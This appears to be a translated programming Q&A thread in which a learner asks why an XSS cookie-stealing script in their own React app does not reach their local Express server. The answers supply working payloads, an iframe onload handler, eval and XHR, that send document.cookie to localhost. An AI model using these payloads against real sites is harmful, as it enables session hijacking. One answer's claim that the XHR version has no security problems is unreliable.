为什么这个 xss 脚本不调用我的服务器?

Why does this xss script not call my server?

我正在学习 xss 攻击,以便更好地了解应用程序安全性。我正在尝试执行一项基本任务:在我自己的本地网站上获取用户 cookie 并将其发送到我的本地服务器。

我已成功检索到带有警报的 cookie。但是我无法执行 api 调用。这有什么问题:

React 应用程序:

<p dangerouslySetInnerHTML={{
  __html: `<script type="text/javascript">
           document.location='http://localhost:2021/xss?user='+document.cookie;
           </script>`,
}}
/>
          
    

在我的服务器上:

const app = require("express")();
const cors = require("cors");
app.use(cors());

app.get("/xss", (req, res) => {
const {user} = req.query
  res.send("it works", user);
});

app.listen(2021, () =>
  console.log("Server is waiting to read yummy cookies")
);

从未调用 /xss 路由。

设置 innerHTML 不执行脚本。

document.getElementById("container").innerHTML=`<script>alert("hello")<\/script>Nothing happens`
<div id="container"></div>

改用这个

<div dangerouslySetInnerHTML={{
  __html: `<iframe onload="document.location='http://localhost:2021/xss?user='+document.cookie;"></iframe>`,
}}
/>

我真的不知道你想做什么。但是创建这样的脚本标签不应该是您的解决方案。问题是 JavaScript 没有被调用,因为它没有设置为 JavaScript。您只是在标签内创建一个文本节点。当您想从字符串调用 JavaScript 时,您可以使用 eval 函数(由于安全问题,我 推荐)。但无论如何,现在您可以使用它了:

const script = `document.location='http://localhost:2021/xss?user='+document.cookie;`;
eval(script);

但仍然:不要那样做!!!

您可以参考从服务器传送 JavaScript 文件并使用 src 属性加载它。

当您只想调用 HTTP 请求时,您可以使用 XHR。您可以找到该主题的详细信息 here。但简而言之:

const xhr = new XMLHttpRequest();
xhr.open('GET', 'http://localhost:2021/xss?user=' + document.cookie);
xhr.send();

这应该可以完成工作而不会出现安全问题。